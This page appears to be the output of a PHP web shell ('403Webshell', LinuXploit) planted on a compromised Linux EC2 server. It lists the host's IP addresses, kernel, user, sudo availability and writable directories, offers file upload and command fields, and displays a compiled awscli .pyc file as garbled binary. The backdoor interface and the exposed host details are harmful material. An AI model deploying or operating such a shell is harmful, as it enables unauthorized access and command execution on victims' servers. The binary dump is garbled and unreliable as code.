403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/awscli/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/awscli/__pycache__/schema.cpython-39.pyc
a

wA�i��@s<ddlmZGdd�de�ZGdd�d�ZGdd�d�ZdS)	�)�defaultdictc@seZdZdS)�ParameterRequiredErrorN)�__name__�
__module__�__qualname__�rr�1/usr/lib/python3.9/site-packages/awscli/schema.pyrsrc@sbeZdZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�SchemaTransformeraE
    Transforms a custom argument parameter schema into an internal
    model representation so that it can be treated like a normal
    service model. This includes shorthand JSON parsing and
    automatic documentation generation. The format of the schema
    follows JSON Schema, which can be found here:

    http://json-schema.org/

    Only a relevant subset of features is supported here:

    * Types: `object`, `array`, `string`, `integer`, `boolean`
    * Properties: `type`, `description`, `required`, `enum`

    For example::

    {
        "type": "array",
        "items": {
            "type": "object",
            "properties": {
                "arg1": {
                    "type": "string",
                    "required": True,
                    "enum": [
                        "Value1",
                        "Value2",
                        "Value3"
                    ]
                },
                "arg2": {
                    "type": "integer",
                    "description": "The number of calls"
                }
            }
        }
    }

    Assuming the schema is applied to a service named `foo`, with an
    operation named `bar` and that the parameter is called `baz`, you
    could call it with the shorthand JSON like so::

        $ aws foo bar --baz arg1=Value1,arg2=5 arg1=Value2

    Z	structure�list)�object�arraycCst�|_dS�N)�ShapeNameGenerator�_shape_namer��selfrrr�__init__HszSchemaTransformer.__init__cCsi}|�||d�|S)a�Convert JSON schema to the format used internally by the AWS CLI.

        :type schema: dict
        :param schema: The JSON schema describing the argument model.

        :rtype: dict
        :return: The transformed model in a form that can be consumed
            internally by the AWS CLI.  The dictionary returned will
            have a list of shapes, where the shape representing the
            transformed schema is always named ``InputShape`` in the
            returned dictionary.

        Z
InputShape)�
_transform)r�schema�shapesrrr�	transformKszSchemaTransformer.transformcCs|d|vrtd��|ddkr.|�||�||<nJ|ddkrL|�||�||<n,|ddkrj|�||�||<n|�|�||<|S)N�type�Missing required key: 'type'rr�map)r�_transform_structure�_transform_list�_transform_map�_transform_scalar)rrr�
shape_namerrrr]szSchemaTransformer._transformcCs
|�|�Sr
)�_populate_initial_shape)rrrrrrjsz#SchemaTransformer._transform_scalarc
Cs�|�|�}i}g}|d��D]N\}}|�|�}|j�|�}	d|	i||<|�dd�r^|�|�|�|||	�q||d<|r�||d<|S)NZ
properties�shapeZrequiredF�members)r�items�_json_schema_to_aws_typer�new_shape_name�get�appendr)
rrr�structure_shaper!Zrequired_members�key�valueZcurrent_type_nameZcurrent_shape_namerrrrms 

�
z&SchemaTransformer._transform_structurecCsP|�|�}dD]<}|�||�}|j�|�}d|i||<|�||||�q|S)N)r(r)r �rr#rr$r)rrrr'Z	attribute�	type_namerrrrr�s
z SchemaTransformer._transform_mapcCsF|�|�}|�|d�}|j�|�}d|i|d<|�|d||�|S)Nr"r �memberr*)rrrZ
list_shape�member_typeZmember_shape_namerrrr�s
z!SchemaTransformer._transform_listcCs:d|�|�i}d|vr"|d|d<d|vr6|d|d<|S)Nr�descriptionZ
documentation�enum)r#)rrr rrrr�sz)SchemaTransformer._populate_initial_shapecCs&d|vrtd��|d}|j�||�S)Nrr)r�JSON_SCHEMA_TO_AWS_TYPESr%)rrr+rrrr#�sz*SchemaTransformer._json_schema_to_aws_typeN)rrr�__doc__r0rrrrrrrrr#rrrrr	s/�
	r	c@seZdZdd�Zdd�ZdS)rcCstt�|_dSr
)r�int�_name_cacherrrrr�szShapeNameGenerator.__init__cCs,|j|d7<|j|}d|��|fS)N�z%sType%s)r3�
capitalize)rr+Z
current_indexrrrr$�s
z!ShapeNameGenerator.new_shape_nameN)rrrrr$rrrrr�srN)�collectionsr�
ValueErrorrr	rrrrr�<module>
s

Youez - 2016 - github.com/yon3zu
LinuXploit